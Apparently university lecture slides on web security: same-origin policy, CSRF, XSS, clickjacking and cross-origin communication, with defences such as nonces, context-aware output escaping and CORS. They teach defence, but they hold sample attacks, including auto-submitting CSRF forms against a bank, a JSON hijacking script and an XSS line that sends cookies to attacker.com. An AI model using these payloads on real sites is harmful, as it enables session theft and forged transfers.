Agenda

• Ethical Hacking

• Same Origin Policy (SOP)

• Cross-Site Request Forgery (CSRF) and Defenses

• Cross-Site Scripting (XSS) and Defenses

• Clickjacking and Defenses

• Legitimate Cross-Origin communication
  – Cross-origin communication with mutual consent
Ethical Hacking

- **Blackhat hacker**
  - Break security for malicious reasons and/or personal gains

- **Whitehat (ethical) hacker**
  - Break security for non-malicious reason
  - With consent from owners (greyhat otherwise)
  - Do not create irreversible and availability impact to a system
  - Practise responsible disclosure
    - Notify owners first, explain it clearly, sometimes offer fix recommendations, allow reasonable time for fix before publicize
  - Bug bounty programmes: yahoo, google, facebook, etc

- **You learn how to break**
  - For the sake of protections: avoid vulnerabilities as developers
  - To become an ethical hacker / security researcher / pen-tester

Warning: Don’t do evil things!! Malicious hacking is a criminal offense
SAME ORIGIN POLICY (SOP)
Recall: Same Origin Policies (SOPs)

• **Cookie Origin:= (isHTTPSOnly, domain, path)**
  – Prevents cookies set by one origin to be readable by another origin
  – *Given* www.example.com, the Domain parameter can be:
    • (Default) exactly the current domain
    • Suffix of the current one
      – *Accept:* .example.com, i.e. all *.example.com receive the cookie
      – *Note:* the dot at the beginning; it’s need for legacy browsers
        Over-relaxing this can be a security flaw
      – *Reject:* Top-level (e.g., .com) and Country-level (e.g., .com.hk) domains
      – *Reject:* Others’ domains (e.g. www.google.com)

• **HTML Origin:= (protocol, domain, port)**
  – Prevent scripts from one origin to access the DOM of another origin
  – Embedded item inherits its parent origin

• More SOP in different contexts: *Java, etc...*
HTML SOP (or simply SOP)

- SOP is the most fundamental browser security model to prevent script access from one origin to another origin.
- Examples (Demo):

  Webpages from the same domain can access each other

  Webpages from different domains cannot access each other

Everything is freely accessible to each other

Browser throws error: Permission denied
SOP Origin Definition

- **Origin Definition**: $(protocol, domain, port)$
  - Is the origin of `http://www.example.com/dir/index.html` the same as that of the following documents?

<table>
<thead>
<tr>
<th>URL Examples</th>
<th>Outcome</th>
<th>Reason</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>http://www.example.com/dir2/other.html</code></td>
<td>Yes</td>
<td></td>
</tr>
<tr>
<td><code>http://www.example.com/dir/inner/2.html</code></td>
<td>Yes</td>
<td></td>
</tr>
<tr>
<td><code>https://www.example.com/secure.html</code></td>
<td>No</td>
<td>Different protocol</td>
</tr>
<tr>
<td><code>http://www.example.com:81/dir/etc.html</code></td>
<td>No</td>
<td>Different port</td>
</tr>
<tr>
<td><code>http://news.example.com/dir/other.html</code></td>
<td>No</td>
<td>Different domain</td>
</tr>
<tr>
<td><code>http://hacker.com/index.html</code></td>
<td>No</td>
<td>Different domain</td>
</tr>
</tbody>
</table>

- **Inheritance (IMPORTANT!!)**: Except (i)frames, embedding elements (e.g. `<script>`, `<img>`, etc) will always inherit their parent origin

- For more varieties like IP address and file://, visit: [http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_DOM_access](http://code.google.com/p/browsersec/wiki/Part2#Same-origin_policy_for_DOM_access)
Cookie SOP v.s. HTML SOP

- Why the path constraint in Cookie SOP may not be enforced?
  - HTML Origin := (protocol, domain, port)
  - Cookie Origin := (isHTTPSOnly, domain, path)

  **HTTP Request:**
  GET /dir1/index.php HTTP/1.1
  Host: www.example.com

  **HTTP Response:**
  HTTP/1.1 200 OK
  Content-type: text/html

  <script type="text/javascript">
  // execute after 3 seconds
  window.setTimeout(function(){
    alert(document.getElementsByTagName('iframe')[0].contentDocument.cookie);
  }, 3000);
</script>
<iframe src="/dir2/index.php"></iframe>

  **HTTP Request:**
  GET /dir2/index.php HTTP/1.1
  Host: www.example.com

  **HTTP Response:**
  HTTP/1.1 200 OK
  Content-type: text/html
  Set-Cookie: test=sth; path=/dir2

  Cookie is Set!

- (Demo) Because `document.cookie` follows HTML SOP; Hence, Cookies can be accessed as above if `httpOnly` is not set.
CROSS-SITE REQUEST FORGERY (CSRF)
## OWASP Top 10 Application Security Risks

### 2010

<table>
<thead>
<tr>
<th>Risk</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>A1-Injection</td>
<td>Injection</td>
</tr>
<tr>
<td>A2-Cross Site Scripting (XSS)</td>
<td>Cross Site Scripting (XSS)</td>
</tr>
<tr>
<td>A3-Broken Authentication and Session Management</td>
<td>Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A4-Insecure Direct Object References</td>
<td>Insecure Direct Object References</td>
</tr>
<tr>
<td>A5-Cross Site Request Forgery (CSRF)</td>
<td>Cross Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>A6-Security Misconfiguration</td>
<td>Security Misconfiguration</td>
</tr>
<tr>
<td>A7-Insecure Cryptographic Storage</td>
<td>Insecure Cryptographic Storage</td>
</tr>
<tr>
<td>A8-Failure to Restrict URL Access</td>
<td>Failure to Restrict URL Access</td>
</tr>
<tr>
<td>A9-Insufficient Transport Layer Protection</td>
<td>Insufficient Transport Layer Protection</td>
</tr>
<tr>
<td>A10-Unvalidated Redirects and Forwards</td>
<td>Unvalidated Redirects and Forwards</td>
</tr>
</tbody>
</table>

### 2013

<table>
<thead>
<tr>
<th>Risk</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>A1-Injection</td>
<td>Injection</td>
</tr>
<tr>
<td>A2-Broken Authentication and Session Management</td>
<td>Broken Authentication and Session Management</td>
</tr>
<tr>
<td>A3-Cross-Site Scripting (XSS)</td>
<td>Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>A4-Insecure Direct Object References</td>
<td>Insecure Direct Object References</td>
</tr>
<tr>
<td>A5-Security Misconfiguration</td>
<td>Security Misconfiguration</td>
</tr>
<tr>
<td>A6-Sensitive Data Exposure</td>
<td>Sensitive Data Exposure</td>
</tr>
<tr>
<td>A7-Missing Function Level Access Control</td>
<td>Missing Function Level Access Control</td>
</tr>
<tr>
<td>A8-Cross-Site Request Forgery (CSRF)</td>
<td>Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>A9-Using Components with Known Vulnerabilities</td>
<td>Using Components with Known Vulnerabilities</td>
</tr>
<tr>
<td>A10-Unvalidated Redirects and Forwards</td>
<td>Unvalidated Redirects and Forwards</td>
</tr>
</tbody>
</table>

- References: [https://www.owasp.org/index.php/Top_10_2010-Main](https://www.owasp.org/index.php/Top_10_2010-Main)  
How Authentication Worked?

- **Legitimate Use** - an online money transfer form:

  - After login, the auth. token hosted in Cookies are automatically attached to every request by browser
    - Given that the token is known only by the legitimate user
    - Bank will accept the request and execute the authorized transfer
      - For invalid token, the bank will surely reject the request

  The request resulted by form submission:
  
  ```
  POST /transfer HTTP/1.1
  Host: bank.com
  Cookie: auth=23fjk123fjafk3
to=111-882&amt=100
  ```
Cross-Site Request Forgery

- **Attack Example:**
  - Victim visits a malicious page, which can craft the same request:

  ```
  Cookies are automatically attached:
  POST /transfer HTTP/1.1
  Host: bank.com
  Cookie: auth=23fjkl23fjafk3
  to=666-882&amt=100
  ```

  - Even though attacker has no knowledge to the authentication token
  - **Cause:** browser will *implicitly* attach cookies to the requests
  - Bank finds nothing wrong and will execute the transfer

- **CSRF** := force a victim to execute an unintended authorized action as if it is done by the authenticated user
To launch a CSRF attack

• In attacker’s prepared page hosted at http://attacker.com/
  – To launch a CSRF using GET request
    • `<img src="https://bank.com/transfer?toAcct=024-666666-882& amt=100" width="1" height="1" />
  – To launch CSRF using POST request
    • Recall the “programmatic form submission” in lecture 4:
      `<form action="https://bank.com/transfer" method="POST">
        <input type="hidden" name="to" value="024-666666-882"/>
        <input type="hidden" name="amt" value="100"/>
      </form>`
      `<script>document.forms[0].submit();</script>`

• The vulnerable website https://bank.com/ receives a request that is identified by victim’s authentication token
  – Bypassing SOP: SOP cannot stop this attack
Login CSRF

- Victim visits a malicious page that automatically signs in a vulnerable website using attacker’s credentials, actions taken by the victim is recorded with attacker’s account.

- An Example Threat:
  - A victim got logged in with an attacker’s google account
  - Victim’s search history is recorded at Google Web History
  - Attacker later check out the log with his account

- Midterm/Exam: Login CSRF v.s. Session Fixation
  - Similar in terms of forcing authentication-related requests:
    - Session Fixation: forcing victim to use attacker’s authentication token
    - Login CSRF: forcing victim to use attacker’s credentials
  - Differ in terms of the underlying vulnerabilities and defenses?
CSRF Defenses (1/2)

1. **HTML5 Origin Header** (Legacy browsers do not support this!)
   - A new header that specifies the origin initiating a request
   - Server validates if the origin header is among its allowed list

   - The origin header is basically a substring of the referrer header, why not simply use the referrer instead?
     - Referrer header leaks the whole URL to other websites
       - privacy advocators drop it manually
       - modern browsers automatically drop it in HTTPS page
     - After all, attacker can serve a malicious page over HTTPS to prevent referrer header from sending to the vulnerable website

2. **CAPTCHA**
   - Requires user’s explicit input before further execution
   - Attackers do not know the CAPTCHA contents due to SOP
CSRF Defenses (2/2)

3. Require a static request header using XMLHttpRequest
   – Setting request header over cross-origin XHR is prohibited

4. Submitting a hidden nonce with every form (Cross-browser)
   – Implementations (demo):
     • Nonce: the session id itself, or a random and user-specific string/number
     • Form Construction (server): add to form the nonce as a hidden parameter
     • When user submits the form, the nonce is submitted together
     • Form Processing (server): validates req.body.nonce === generated nonce
   – Attackers do not know the nonce due to SOP
   – Explicit form submission by user is required

• Security Best Practices:
  – Apply the last defense for universal browser support
  – Expire tokens in a reasonable timeframe to mitigate CSRF

Reference: https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet
Fixed: CSRF + JSON Hijacking

- JSON Hijacking against Twitter and Gmail Contacts
  - The reason why `while(1);` was attached to every JSON response

```javascript
Object.prototype.__defineSetter__('user', function(obj){
  console.log(obj);
});
</script>
<script src="https://twitter.com/statuses/friends_timeline/"/></script>
```

when JSON is evaluated, hence assigning object with a key called “user”,
then the `__defineSetter__('user')` will be invoked

- Reference: I know what your friends did last summer:
  [http://www.thespanner.co.uk/2009/01/07/i-know-what-your-friends-did-last-summer/](http://www.thespanner.co.uk/2009/01/07/i-know-what-your-friends-did-last-summer/)

- More Reference:
  [http://www.thespanner.co.uk/2011/05/30/json-hijacking/](http://www.thespanner.co.uk/2011/05/30/json-hijacking/)

- Fixed nowadays by ignoring setters during initialization:
1. Cross-Site Scripting (XSS): HTML/Javascript code injection
2. Clickjacking: UI redressing with opacity=0

SOP EXCEPTION:
ILLEGAL CROSS-ORIGIN ACCESS
Warning: SOP Exceptions!!

• Bypassing SOP is a dangerous and risky action
  – Doing so **legitimately** is Collaborative Cross-origin Access
    • Two origins mutually agree to communicate
  – Doing so **ignorantly** will lead to vulnerabilities
  – Doing so **maliciously** is then an act of hacking

“Always think twice about **Confidentiality and Integrity** when communicating across origins”
## OWASP Top 10 Application Security Risks

<table>
<thead>
<tr>
<th>2010</th>
<th>2013</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>A1-Injection</strong></td>
<td><strong>A1-Injection</strong></td>
</tr>
<tr>
<td><strong>A2-Cross Site Scripting (XSS)</strong></td>
<td><strong>A2-Broken Authentication and Session Management</strong></td>
</tr>
<tr>
<td>A3-Broken Authentication and Session Management</td>
<td>A3-Cross-Site Scripting (XSS)</td>
</tr>
<tr>
<td>A4-Insecure Direct Object References</td>
<td>A4-Insecure Direct Object References</td>
</tr>
<tr>
<td>A5-Cross Site Request Forgery (CSRF)</td>
<td>A5-Security Misconfiguration</td>
</tr>
<tr>
<td>A6-Security Misconfiguration</td>
<td>A6-Sensitive Data Exposure</td>
</tr>
<tr>
<td>A7-Insecure Cryptographic Storage</td>
<td>A7-Missing Function Level Access Control</td>
</tr>
<tr>
<td>A8-Failure to Restrict URL Access</td>
<td>A8-Cross-Site Request Forgery (CSRF)</td>
</tr>
<tr>
<td>A9-Insufficient Transport Layer Protection</td>
<td>A9-Using Components with Known Vulnerabilities</td>
</tr>
<tr>
<td>A10-Unvalidated Redirects and Forwards</td>
<td>A10-Unvalidated Redirects and Forwards</td>
</tr>
</tbody>
</table>

- References: [https://www.owasp.org/index.php/Top_10_2010-Main](https://www.owasp.org/index.php/Top_10_2010-Main)  
Cross-Site Scripting (XSS)

- XSS := Unauthorized cross-origin script access
  - i.e., bypassed SOP that protects a page from illegal script access
  - **Cause:** Insufficient output sanitizations on untrusted inputs
  - **Consequence:** SOP broken; script access from untrusted party

- **Possible Threats**
  - Information Leakage
    - Stealing Cookies and Private Information
    - Key Logging
  - Executing authenticated actions by imitating users’ clicks/keys
    - XSS surpasses CSRF: XSS vul. allows doing anything a CSRF vul. can offer
  - Modifying the DOM
  - Basically, full control!!
Reflected and Stored XSS

• **Reflected XSS:** payload reflected from request to response
  
  – Given a vulnerable webpage at example.com/search?q=apple
    
    Results for {{{q}}}:
    <!-- Some search results -->
    
    – If a victim **followed a hyperlink** of attacker’s choice:
      example.com/search?q=%3Cscript%3Ealert('XSS')%3C%2Fscript%3E
    
    – The resulted HTML that will let **user inputs rendered as script**:
      
      Results for <script>alert('XSS')</script>: <!-- ... -->
  
  – Why follow the link? Social engineering, Advertisement, Email, etc

• **Stored XSS:** The server **stores** and echoes the payload
  
  – e.g. Attacker leaves a comment with malicious script in a blog
  
  – Server includes the payload in a webpage for **ALL other blog visitors!!**

• *(Midterm/Final) Reflected XSS v.s. Stored XSS*
Reflected XSS Demo

note: 1. The Wired Network Service at Suk Ho Shuen Hall.
2. By default, you can browse CUHK Wired network service. For other network services, you need to type in a URL to access
3. Logging in the service indicates that the network service is secure.
4. Except for the initial CWEM authentication, all connections are secured.
5. For a secured connection or access, you need to type in the wired network service.

Note:
1. The CUHK Wi-Fi Service
2. By default, you can browse CUHK Wi-Fi Service. For other network services, you need to type in a URL to access
3. Logging in the service indicates that the network service is secure.
4. Except for the initial CWEM authentication, all connections are secured.
5. For a secured connection or access, you need to type in the Wi-Fi service.
6. For service details, please visit http://www.cuhk.edu.hk/itsc/
XSS Filter Evasion Cheatsheet

- Blocking `<script>` tags alone cannot solve the problem.
- For example, the following injection can steal cookies like so:
  - `<img src="doesnt_exist" onerror="this.src='//attacker.com/?'+document.cookie"/>
- Other XSS vectors: [http://ha.ckers.org/xss.html](http://ha.ckers.org/xss.html)
XSS Defenses

• **Input Validations with whitelisting**
  – Concept: All user inputs should be treated as untrusted
  – **Whitelisting**: accept only a rigorous list of acceptable inputs
  – Blacklisting is BAD: reject some unwanted inputs

• **Input Sanitizations**
  – Concept: Screen out or Correct unexpected inputs
  – Example: Casting to an expected data type (e.g. int and float)

• **Content Security Policy** (not in Internet Explorer)
  – Concept: disable inline scripts; whitelist sources of sub-resources

• **Disable script access to cookies** (i.e. using `httpOnly` flag)

• **Context-Dependent Output Sanitizations** (Most important!)
  – Concept: Escaping reserved characters depending on context
  – Details in the next page
Context-dependent Output Sanitizations

• Why applying output sanitizations is important?
  – Alternative input paths might exist, e.g.,
    • For example, an attacker compromises an unpatched SQL server and tampers the data there, which can bypass all input validations
    • Others: file upload, command shell access, non-web channels, etc
  – NO one-size-fits-all input validations for string-typed inputs
    • E.g, using space character to launch XSS in unquoted attribute value

• Why context-dependent is important?
  – Even for the same user input, when placed in different context, can be evaluated as different things
  – When using two braces, Handlebars will by default escape five well-known characters (& < > ' ") but still wouldn’t stop XSS in this case (e.g., when url is equal to "javascript:alert(1)" or " onclick=alert(1)").

Problem: `<a href={{url}}>{{url}}</a>`
Design Principle of \texttt{xss-filters}

- \textit{Just sufficient} encoding based on HTML 5 Specification
  - Encodes minimal set of chars that may contribute in context change

Reference: \url{https://www.npmjs.com/package/xss-filters}

Hence, \texttt{inHTMLData()} encodes only \texttt{<} to \texttt{&lt;}
Context-sensitive Filters by `xss-filters`

- There are five basic context-sensitive filters for generic input:

```html
    <div>{{inHTMLData data}}</div>

    <!--{{inHTMLComment comment}}-->

    <input value='{{inSingleQuotedAttr value}}'/>

    <input value="{{inDoubleQuotedAttr value}}"/>

    <input value={{inUnQuotedAttr value}}/>
```

Assume you have registered them as `handlebars helpers`
(Midterm/Exam) What do they escape actually? [answer]

- Whenever possible, apply the most specific filter that describes your context and data in the next slide

  Solution: `<a href={{url}}>{{url}}</a>`
# Context-sensitive Filters for URI by *xss-filters*

<table>
<thead>
<tr>
<th>Input\Component</th>
<th>HTMLData</th>
<th>HTMLComment</th>
<th>SingleQuotedAttr</th>
<th>DoubleQuotedAttr</th>
<th>UnQuotedAttr</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Full URI</strong></td>
<td>uriInHTMILData()</td>
<td>uriInHTMLComment()</td>
<td>uriInSingleQuotedAttr()</td>
<td>uriInDoubleQuotedAttr()</td>
<td>uriInUnQuotedAttr()</td>
</tr>
<tr>
<td><strong>URI Path</strong></td>
<td>uriPathInHTMLData()</td>
<td>uriPathInHTMLComment()</td>
<td>uriPathInSingleQuotedAttr()</td>
<td>uriPathInDoubleQuotedAttr()</td>
<td>uriPathInUnQuotedAttr()</td>
</tr>
<tr>
<td><strong>URI Query</strong></td>
<td>uriQueryInHTMILData()</td>
<td>uriQueryInHTMLComment()</td>
<td>uriQueryInSingleQuotedAttr()</td>
<td>uriQueryInDoubleQuotedAttr()</td>
<td>uriQueryInUnQuotedAttr()</td>
</tr>
<tr>
<td><strong>URI Component</strong></td>
<td>uriComponentInHTMLData()</td>
<td>uriComponentInHTMLComment()</td>
<td>uriComponentInSingleQuotedAttr()</td>
<td>uriComponentInDoubleQuotedAttr()</td>
<td>uriComponentInUnQuotedAttr()</td>
</tr>
<tr>
<td><strong>URI Fragment</strong></td>
<td>uriFragmentInHTMLData()</td>
<td>uriFragmentInHTMLComment()</td>
<td>uriFragmentInSingleQuotedAttr()</td>
<td>uriFragmentInDoubleQuotedAttr()</td>
<td>uriFragmentInUnQuotedAttr()</td>
</tr>
</tbody>
</table>
Avoid Contexts

Some contexts to avoid

1. `<script>var a={{userInput}};</script>`

2. `<style>h1{font-size:{{userInput}}px}</style>`

3. `<div onclick="{{userInput}}" style="{{userInput}}"></div>`

4. `<div {{userInput}}></div>`

5. `<svg>{{userInput}}</svg>`

In case you need to incorporate data in script, work around by putting your data as a `data-* attribute value`

Reference: [https://www.npmjs.com/package/xss-filters#warnings](https://www.npmjs.com/package/xss-filters#warnings)
Applying filters manually could be error-prone

• **Automation Packages** that apply *xss-filters* for handlebars
  – *context-parser-handlebars*
    • To automatically conduct HTML 5 context analysis on Handlebars templates, and insert markup of XSS filtering helpers to output expressions based on their surrounding contexts
  – *express-secure-handlebars* (to be released soon)
    • Enhanced the *ExpressHandlebars* server-side view engine by automatically applying context-aware XSS output filters to better secure the webapp
Clickjacking (or UI Redressing)

- Similar to CSRF, luring victims to perform authenticated actions unintentionally
  - Host an iframe with its opacity is set to zero, i.e. make it transparent
  - Behind the iframe, attract users by a game to click some preset positions
  - While interacting with the game, clicks are indeed made in the iframe page

- More varieties: Keyjacking, Dragjacking, Tapjacking, etc
- Traditional CSRF and XSS defenses cannot solve this problem!
- Reference: [https://www.owasp.org/index.php/Clickjacking](https://www.owasp.org/index.php/Clickjacking)
Clickjacking Defenses

1. **Framebusting**
   - Display the page only if a page takes the top position (controlling location bar)

     ```html
     <style>
     body{display:none}
     </style>
     <script type="text/javascript">
     if (self == top)
       document.body.style.display = "block";
     else
       top.location = self.location;
     </script>
     ```

2. **Include a special HTTP Response Header**
   - X-Frame-Options: *deny* - no rendering within a frame
   - X-Frame-Options: *sameorigin* - no rendering if origin mismatch

• **Security Best Practise:** Use Both to prevent a page from being framed unintentionally
1. Domain Relaxation: Use of `document.domain`
2. Programmatic Form Submission
3. Script Inclusion and JSONP
4. Use of Fragment Id (#)
5. Use of `window.postMessage()`
6. Cross-Origin Resource Sharing (CORS) - `XMLHttpRequest` Level 2

**SOP EXCEPTION:**
**COLLABORATIVE CROSS-ORIGIN ACCESS**
Mashup Applications

- **Mashup**: Multiple apps run and communicate at client-side
  - Some examples:
    - iGoogle (the best example but discontinued)
    - Integration with Google Maps/Youtube/FB/OAuth/etc
  - Security concern:
    - It’s about the struggle between Isolation v.s. Communication between domains A and B
  - Cross-origin communications:
    1. Use of document.domain
    2. Programmatic form submission
    3. Script Inclusion
    4. Fragment Id
    5. `window.postMessage()`
    6. CORS `XmlHttpRequest` (aka XHR 2)

1. Use of `document.domain` (1/2)

- **To relax an origin to its suffix form** except TLDs and ccTLDs
  - **Full-trust Delegation**: facilitate **cross-SUBDOMAIN** communications i.e., sharing the whole DOM after the origin is relaxed
- **For instance, each pair was initially of different origin**:  
  
<table>
<thead>
<tr>
<th>Original Origin (given the same protocol &amp; port)</th>
<th>Set <code>document.domain</code></th>
<th>Now, Same Origin?</th>
</tr>
</thead>
<tbody>
<tr>
<td>secure.ie.cuhk.edu.hk</td>
<td>= &quot;cuhk.edu.hk&quot;</td>
<td>Yes</td>
</tr>
<tr>
<td>cusis.cuhk.edu.hk</td>
<td>= &quot;cuhk.edu.hk&quot;</td>
<td></td>
</tr>
<tr>
<td>webmail.cusis.cuhk.edu.hk</td>
<td>= “cusis.cuhk.edu.hk&quot;</td>
<td>Yes; Better!</td>
</tr>
<tr>
<td>cusis.cuhk.edu.hk</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

- **Security Best Practice:**
  - Relaxing too much could welcome attacks from 3rd-party
  - Unless you’re perfectly sure what you’re doing, avoid this!!
1. Use of `document.domain` (2/2)

- *(Demo)* A sad story when used inappropriately
  - When a victim follows a hyperlink controlled by attacker; the resulted page can take full control of the victim’s capabilities at CUSIS.

Note: The attacker can not only read the content, but also imitate user inputs (clicks, keys) at https://cusis.cuhk.edu.hk
2. Programmatic Form Submission

- **To submit** `x-www-form-urlencoded` **data to ANY origins**
  - **Limited-trust Delegation**: Pass only the info. required by another origin
  - Often used by payment gateways and Single Sign-On (SSO) services
  - Widely supported across browsers

- **Implementation, as introduced in lecture 2:**
  - `<form method="POST" action="https://pay.com/checkout">
    <input type="hidden" name="ref" value="h23u4uihxh3" />
    <input type="hidden" name="amount" value="99.0" />
  </form>`
  - `<script type="text/javascript">document.forms[0].submit();</script>`

- **Security**: This can however be abused to launch CSRF attacks
3. Script Inclusion

• To explicitly let an external script inherits the current origin
  – **Full-trust Delegation:** Exposing the DOM for external script access
  – Assuming that the script you include are trustworthy

• In [http://example.com/](http://example.com/), embedding scripts as below will let them inherit the origin at [http://example.com/]:
  – `<script type="text/javascript" src="http://code.jquery.com/jquery-1.7.1.min.js"></script>`
  – `<script type="text/javascript" src="https://ssl.google-analytics.com/ga.js"></script>`

• **Security Best Practice:**
  – Is example code downloaded from the Web safe?
  – Only include scrutinized and trusted code into your page
  – **TOCTOU:** Serve the code from your own domain after scrutiny
3. Script Inclusion - JSONP

- **JSON with Padding (JSONP)**
  
  - Favored by Twitter, JSONP is an approach to ask for well-formatted (JSON) data from another origin
  
  - In [http://example.com](http://example.com),
    
    ```html
    <!-- Prepare a callback that waits for data of JSON format -->
    <script type="text/javascript">
    function getData(jsonData) { /* work with jsonData */};
    </script>
    
    <!-- Include the following script to load some data in -->
    ```

  - The script provided by the server [http://ex2.com/](http://ex2.com/) is supposed to prepend the given callback name with the JSON data enclosed with brackets (). The `json-data.php` could look like:
    
    ```php
    <?php
    header("Content-type: application/javascript");
    if (preg_match("^\w+$", $_GET["callback"]))
    echo $_GET["callback"] . "(" . json_encode($dataArray) . ")";
    ?>
    ```
4. Use of Fragment Id (1/2)

• Exempted from SOP, a page can navigate (change the location of) an embedding iframe/frame (or iframe’s iframe, i.e. descendant policy) regardless of any origins
  – Limited-trust Delegation: Facilitate client-side cross-frame communications regardless of origins
  – Supported by most browsers

• Concept:
  – Abusing the fact that a page never reload when Fragment Id is changed


protocol domain name port folder file query string fragment id

– Changing the location of a window/frame, in which the Fragment Id is used for passing data
4. Use of Fragment Id (2/2)

• Conceptual and Insecure Implementation:
  
  – In http://example.com/,
    • Given an iframe is constructed, send data by executing the following code:
      `iframe.location = "http://other-origin.com/#data1";`
    
  – In http://other-origin.com/,
    • Send data by executing `top.location = "http://example.com/#data2";`
    • Here, `top` refers to the window that controls the location bar
  
  – Receive data by polling `location.hash` to get Fragment Id (e.g. `#data1`)
  
  – Implementation Example:
    [http://www.tagneto.org/blogcode/xframe/ui.html](http://www.tagneto.org/blogcode/xframe/ui.html)

• Security Best Practice:
  
  – Use this unless you know how to do nonce initialization to make it secure
  
5. Use of `window.postMessage()`

- **Introduced in HTML 5 to meet the need of Mashup**
  - **Limited-trust Delegation**: Facilitate client-side cross-frame communications where participating parties can enforce security:
    - Specify the `targetOrigin` for the data to send
    - Examine the `sourceOrigin` for the data received

- **Implementation:**
  - **In** `http://example.com/`, **to send some data**:
    ```javascript
    // Assume current URL of iframe is at http://other-origin.com
    iframe.postMessage("some secret!", "http://other-origin.com");
    ```
  - **In** `http://other-origin.com`, **to receive some data**:
    ```javascript
    window.addEventListener("message", function(evt){
        if (evt.origin !== "http://example.com")
            return;
        /* work with evt.data */
    }, false);
    ```

6. CORS XMLHttpRequest (1.1/3)

• Sharing resources to another origin only if the requests are explicitly allowed
  – Limited-trust Delegation: Allowed/Denied requests are all handled with HTTP headers
  – Introduced in HTML 5

• Simple Requests (Demo)
  – Conditions for the cross-origin XMLHttpRequest:
    • Only uses GET or POST
    • If POST is used, Content-Type must be application/x-www-form-urlencoded, multipart/form-data, or text/plain
    • Does not set custom HTTP Request headers
  – E.g., xhr.open("POST","http://other-origin.com/public-data",true)
6. CORS XMLHttpRequest (1.2/3)

- **Simple Requests** ([Demo](#))
  - E.g., `xhr.open("POST","http://other-origin.com/public-data",true)`
  - Returns the content to XMLHttpRequest only if the server allows such a request by explicitly declaring the **ACAO Response Header**

```
HTTP Request Header from http://example.com:
POST /public-data HTTP/1.1
Host: other-origin.com
Origin: http://www.example.com
```

```
HTTP Response Header from http://other-origin.com/public-data:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: http://www.example.com
```

Content of /public-data
6. CORS XMLHttpRequest (2.1/3)

- **Preflighted Requests** *(Demo)*
  - Therefore, those do not fulfill the conditions of simple requests
  - For instance, a custom header called X-Test is used with POST request
  - Browser first initiates a preflight request and the server respond:

  ```
  HTTP Request Header automatically generated by browser:
  OPTIONS /public-data HTTP/1.1
  Host: other-origin.com
  Origin: http://www.example.com
  Access-Control-Request-Method: POST
  Access-Control-Request-Headers: X-Test
  
  HTTP Response Header from http://other-origin.com/public-data:
  HTTP/1.1 200 OK
  Access-Control-Allow-Origin: http://www.example.com
  Access-Control-Allow-Methods: POST, GET, OPTIONS
  Access-Control-Allow-Headers: X-Test
  Access-Control-Max-Age: 1728000
  ```

- Note: Access-Control-Max-Age := the time in seconds where this preflight response is cached for, i.e. skip preflight in this period
6. CORS XMLHttpRequest (2.2/3)

- Preflighted Requests (Demo)
  - Given that the server is declaring that such a request is allowed, browser proceeds generating the normal request:

  **HTTP Request Header** from http://example.com:
  POST /public-data HTTP/1.1
  Host: other-origin.com
  Origin: http://www.example.com
  X-Test: Something Useful

  **HTTP Response Header** from http://other-origin.com/public-data:
  HTTP/1.1 200 OK
  Access-Control-Allow-Origin: http://www.example.com

  Content of /public-data

  - Otherwise, the XMLHttpRequest will be rejected from accessing the requested content
6. CORS XMLHttpRequest (3/3)

- **Requests with Credentials** ([Demo](#))
  - By default, cross-origin requests omit credentials (Cookies, HTTP authentication)
  - To send credentials, the XMLHttpRequest has to set:
    ```javascript
    xhr.withCredentials = "true";
    ```
  - To accept credentialed requests, server specifies Response Header:
    ```
    Access-Control-Allow-Credentials: true
    ```
  - Otherwise, reject the request and supply no content

- **Browser Support:**
  - In IE 8+, it’s XDomainRequest instead of XMLHttpRequest
  - Reference: [http://caniuse.com/#search=CORS](http://caniuse.com/#search=CORS)

Security Best Practices

• Make good use of (sub)domain for SOP isolation
  – It is a best practice to separate user content from our own trusted code
  – Gmail: nowadays serve email attachments at https://mail-attachment.googleusercontent.com/ to avoid any contaminations to the trusted origin at https://mail.google.com
  – iGoogle: Hosting user-contributed gadgets at another domain, and put them into the UI with iframe

• If the development requires cross-origin access,
  – Avoid using approaches that delegate full-trust to other origins
    • i.e. Avoid 1. document.domain and 3. script inclusion
  – Validate that the communicating parties are always the expected origins; Don’t forget TOCTOU
Logistics...

- **Midterm quiz next week**
  - Syllabus: Up to today’s lecture
  - Read past papers in 2012
  - Date and Time: *March 10, 1 hr* during lecture

- **Revision Quiz 3 (to be released)**
  - To better prepare you for the midterm quiz
  - Deadline: *March 9, 5PM*

- **Assignment Deadline:**
  - Phase 4: *March 20, 5PM*